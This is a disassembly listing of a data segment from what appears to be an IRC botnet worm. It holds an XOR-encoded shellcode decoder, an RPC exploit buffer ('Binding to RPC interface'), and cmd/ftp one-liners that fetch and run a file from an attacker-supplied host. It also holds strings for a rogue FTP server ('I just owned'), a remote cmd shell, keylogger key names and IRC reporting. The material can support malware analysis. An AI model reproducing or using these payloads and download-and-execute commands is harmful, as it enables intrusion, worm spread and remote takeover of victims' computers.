		dd 80004A00h, 2004A00h,	2600h, 5C008740h, 45504950h, 5005Ch
		dd 100200h, 800000h, 0
		dd 680000h, 0
		dd 13C7001Fh, 25F6DD7Eh, 8045EE1h, 0Fh dup(8040002h), 2
		dd 0BE895Bh, 20000h, 0
		dd 20000h, 2EB0000h, 760000h, 2	dup(0)
dword_434C78	dd 30B0005h, 10h, 48h, 0 ; DATA	XREF: sub_40E3D2+1F6o
		dd 16D016D0h, 0
		dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh
		dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_434CC4	dd 3000005h, 10h, 830h,	0 ; DATA XREF: sub_40E3D2+C9o
		dd 818h, 1F0000h, 0FFFFFFFFh, 1, 0
		dd 1, 2	dup(0)
dword_434CF4	dd 0FAh, 2, 0		; DATA XREF: sub_40E3D2+139o
		dd 2, 0
		dd 0FAh, 3 dup(0)
dword_434D18	dd 0D959516Ah, 2474D9EEh ; DATA	XREF: sub_40E3D2+41o
		db 0F4h, 5Bh
; ---------------------------------------------------------------------------


loc_434D22:				; CODE XREF: seg002:00434D2Cj
		xor	dword ptr [ebx+13h], 889097A8h
		sub	ebx, 0FFFFFFFCh
		loop	loc_434D22
		sub	[ebx+6Fh], edx
		db	67h
		push	edi
		push	7CC274D4h
		frstor	byte ptr [eax+51h]
		push	1CC8776Fh
		cld
		lodsb
		mov	word ptr ds:95EB23B4h[edx*8], ds
; ---------------------------------------------------------------------------
		db 0F0h, 0A9h, 78h
		dd 1CB0C71Bh, 7CA9A8CFh, 1C9C03D9h, 57996691h, 572C2409h
		dd 5D698FE4h, 7C6A899Dh, 0B3FCB364h, 1C4DFDB8h,	7CA9ACCFh
		dd 0DCA403F6h, 96B4D71Bh, 1C848B7Bh, 8B8CE419h,	4C994BF1h
		dd 0A7EB03F4h, 1CA4C81Bh, 1C0594E0h, 0FFF680D0h, 7BA6C61Eh
		dd 0F17E77C0h, 0A4C0EEC3h, 0E4DFE0A2h, 68FCD7A2h, 7A63E040h
		dd 68F8B36Ch, 7221D746h, 9F4509F6h, 95C2DD92h, 4EC0586Fh
		dd 0C0057D99h, 0C4FB5E6Fh, 0D4FBDBC3h, 68FBCBC3h, 86C0EE40h
		dd 1EFBEECCh, 33C01D71h, 0C06FF88Ah, 87C25E6Fh,	4757DDC1h
		dd 0B9052CF8h, 4157DF79h, 4757DDC3h, 11E16DF8h,	4157DFD9h
		dd 0C2FCDCC0h, 0FF3B586Fh, 0EE6EF177h, 0C27E77C7h, 0FDCE586Fh
		dd 0F4C0EEF4h, 0FD4D01FDh, 5B81D1C0h, 0D3C26F19h, 57996A19h
		dd 0D5562263h, 0BBEA76BDh, 0AFD20503h, 0FF03233Bh, 811B76E2h
		dd 68ECFD6Fh, 0C5FFD346h, 0FDF9D9C1h, 0C2F9D991h, 0FF7877C1h
		dd 59AD513Dh, 0FD7E77C3h, 689F776Fh, 6BFF0340h,	68CC4C13h
		dd 4757DA46h, 776667F8h, 4157DBF0h, 586Fh, 0
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40E2E5+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
aBindingToRpcIn	db '[+] Binding to RPC interface ... ',0Ah,0 ; DATA XREF: sub_40E3D2+1D8o
		align 10h
aFailedToConnec	db '[-] Failed to connect to host !',0Ah,0 ; DATA XREF: sub_40E3D2+18Eo
		align 4
dword_434F34	dd 163h, 0		; DATA XREF: sub_40E3D2+D7o
dword_434F3C	dd 20804h, 0		; DATA XREF: sub_40E3D2+71o
dword_434F44	dd 2080Ah, 2 dup(0)	; DATA XREF: sub_40E3D2+56o
dword_434F50	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E78C+5Ao
dword_434F60	dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 8
aCmdKEchoOpen_0	db 'cmd /k echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40E69E+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: seg000:00419E50o
		align 8
aEchoOpenSDOEch	db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o'
		db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40ED60+5CAo
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_40ED60+5A9o
		align 4
aFtpIJustOwnedS	db '[FTP]: I just owned: %s',0 ; DATA XREF: sub_40ED60+558o
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40ED60+546o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_40ED60+4EBo
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_40ED60+4D3o
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40ED60+4C3o
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_40ED60+4B2o
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_40ED60+47Fo
		align 10h
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40ED60+43Bo
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_40ED60+402o
		align 10h
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40ED60+3D4o
		align 4
aList_0		db 'LIST',0             ; DATA XREF: sub_40ED60+3C1o
		align 10h
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_40ED60+386o
		align 4
aPasv		db 'PASV',0             ; DATA XREF: sub_40ED60+373o
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40ED60+363o
aI_0:					; DATA XREF: sub_40ED60+34Fo
					; seg002:0043A8E0o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40ED60+328o
aA_0:					; DATA XREF: sub_40ED60+314o
					; seg002:0043A8ECo
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_40ED60+2FDo
					; sub_40ED60+338o
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40ED60+2EDo
		align 4
off_43640C	dd offset dword_445750	; DATA XREF: sub_40ED60+2D9o
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40ED60+2C9o
		align 4
aRest		db 'REST',0             ; DATA XREF: sub_40ED60+2B5o
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_40ED60+2A5o
		align 4
aSyst		db 'SYST',0             ; DATA XREF: sub_40ED60+291o
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40ED60+281o
		align 4
aPass		db 'PASS',0             ; DATA XREF: sub_40ED60+26Do
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_40ED60+25Do
		align 4
aUser_0		db 'USER',0             ; DATA XREF: sub_40ED60+248o
		align 4
aSS_0		db '%s %s',0            ; DATA XREF: sub_40ED60+237o
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40ED60+1B9o
		align 4
unk_4364A4	db  2Dh	; -		; DATA XREF: sub_40F477+3D3o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_4364CC	db 0Dh,0Ah,0		; DATA XREF: sub_40F477+2BEo
					; sub_41A6BE+F2o
		align 10h
aGet_0		db 'GET ',0             ; DATA XREF: sub_40F477+258o
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: seg000:0040F944o
					; sub_41AC18+1AEo
		align 10h
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: seg000:0040F930o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: seg000:loc_40F918o
		align 10h
aTextHtml	db 'text/html',0        ; DATA XREF: seg000:0040F911o
		align 4
unk_4366EC	db  2Dh	; -		; DATA XREF: sub_40FA29+27Co
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_35	db ' failed to start worker thread, error %d',0
		align 4
unk_436724	db  2Dh	; -		; DATA XREF: sub_40FA29+20Ao
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 4
asc_436758:				; DATA XREF: sub_40FA29+156o
		unicode	0, <*>,0
aS_5		db '\%s',0              ; DATA XREF: sub_40FA29+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_40FCD8+64Do
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40FCD8+638o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 10h
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_40FCD8+61Do
		align 10h
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40FCD8+58Eo
		align 10h
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40FCD8+566o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40FCD8:loc_4101FBo
		align 10h
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40FCD8+51Co
		align 10h
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40FCD8+476o
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40FCD8+439o
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40FCD8+406o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40FCD8:loc_4100A5o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40FCD8+3C6o
		align 4
aSS_1		db '%s%s/',0            ; DATA XREF: sub_40FCD8:loc_410051o
		align 10h
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40FCD8+335o
					; sub_40FCD8+48Bo
		db '<TD WIDTH="%d"><A HREF="',0
		align 10h
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_40FCD8+308o
		align 4
aS_0		db '<%s>',0             ; DATA XREF: sub_40FCD8+2DEo
					; sub_40FCD8+418o
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_40FCD8+2B4o
aAm		db 'AM',0               ; DATA XREF: sub_40FCD8+293o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_40FCD8+284o
		align 4
a__		db '..',0               ; DATA XREF: sub_40FCD8+231o
		align 10h
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40FCD8+1BFo
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40FCD8+146o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40FCD8+12Ao
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 8
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40FCD8+F6o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40FCD8+ACo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 10h
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_40FCD8+77o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 10h
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40FCD8+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410444+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
unk_436C08	db  2Dh	; -		; DATA XREF: sub_410565+14Bo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_36	db 'Failed to start client thread, error: <%d>.',0
		align 8
unk_436C48	db  2Dh	; -		; DATA XREF: sub_410565+E9o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnecti	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 10h
unk_436C90	db  2Dh	; -		; DATA XREF: seg000:0041084Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_37	db 'Failed to start connection thread, error: <%d>.',0
unk_436CD0	db  2Dh	; -		; DATA XREF: seg000:004107D6o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_0	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_436D14	db  2Dh	; -		; DATA XREF: seg000:00410B63o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 10h
unk_436D40	db  2Dh	; -		; DATA XREF: seg000:00410B3Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 4
unk_436D6C	db  2Dh	; -		; DATA XREF: seg000:00410B1Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: seg000:00410AECo
		align 4
unk_436DA8	db  2Dh	; -		; DATA XREF: seg000:00410A5Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 4
unk_436DD4	db  2Dh	; -		; DATA XREF: seg000:loc_410BB1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 10h
dword_436E00	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_410BC0+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 45202D03h, 726F7272h
		dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
		dd 656E7275h, 3C203A64h, 2E3E6425h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 46202D03h, 656C6961h
		dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
		dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 43202D03h, 6E65696Ch
		dd 6F632074h, 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh
		dd 7325203Ah, 2C64253Ah, 72655320h, 20726576h, 65726874h
		dd 203A6461h, 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h
		dd 79646165h, 646E6120h, 69617720h, 676E6974h, 726F6620h
		dd 636E6920h, 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h
		dd 2E73h, 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h
		dd 6F742064h, 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h
		dd 6820432Dh, 6C646E61h, 202C7265h, 6F727265h, 3C203A72h
		dd 2E3E6425h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 10h
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 8
unk_436FD8	db  2Dh	; -		; DATA XREF: seg000:00410ECFo
					; seg000:00410F05o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 10h
unk_437020	db  2Dh	; -		; DATA XREF: sub_410FCB+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_437048	db  2Dh	; -		; DATA XREF: sub_410FCB+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_437088	db  2Dh	; -		; DATA XREF: sub_410FCB+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_4370C8	db  2Dh	; -		; DATA XREF: seg000:00411187o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 10h
aCmdQ		db 'cmd /q',0           ; DATA XREF: seg000:00411150o
		align 4
unk_437108	db  2Dh	; -		; DATA XREF: sub_41119D+8Do
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aSessionreadshe	db '- SessionReadShellThread exited, error: <%ld>.',0
dword_437144	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: seg000:00411505o
aFailedToSta_38	db '- Failed to start server on Port %d.',0
		align 4
dword_437178	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: seg000:004114D0o
aFailedToSta_39	db '- Failed to start client thread, error: <%d>.',0
		align 8
dword_4371B8	dd 234032Dh, 6B636F73h,	3023473h, 6C43202Dh, 746E6569h
					; DATA XREF: seg000:00411468o
		dd 6E6F6320h, 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h
		dd 3A732520h, 202C6425h, 76726553h, 74207265h, 61657268h
		dd 25203A64h, 2E64h, 0
		dd 234032Dh, 6B636F73h,	3023473h, 7245202Dh, 3A726F72h
		dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h
		dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7245202Dh
		dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h
		dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7541202Dh
		dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch
		dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h
		dd 7325203Dh, 2Eh, 4000500h, 7868746Bh,	0
aTftpTransferCo	db '[TFTP]: transfer complete to: %s',0
		align 8
		dw 8
		unicode	0, <>,0
aB_0:					; DATA XREF: seg000:loc_411F36o
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
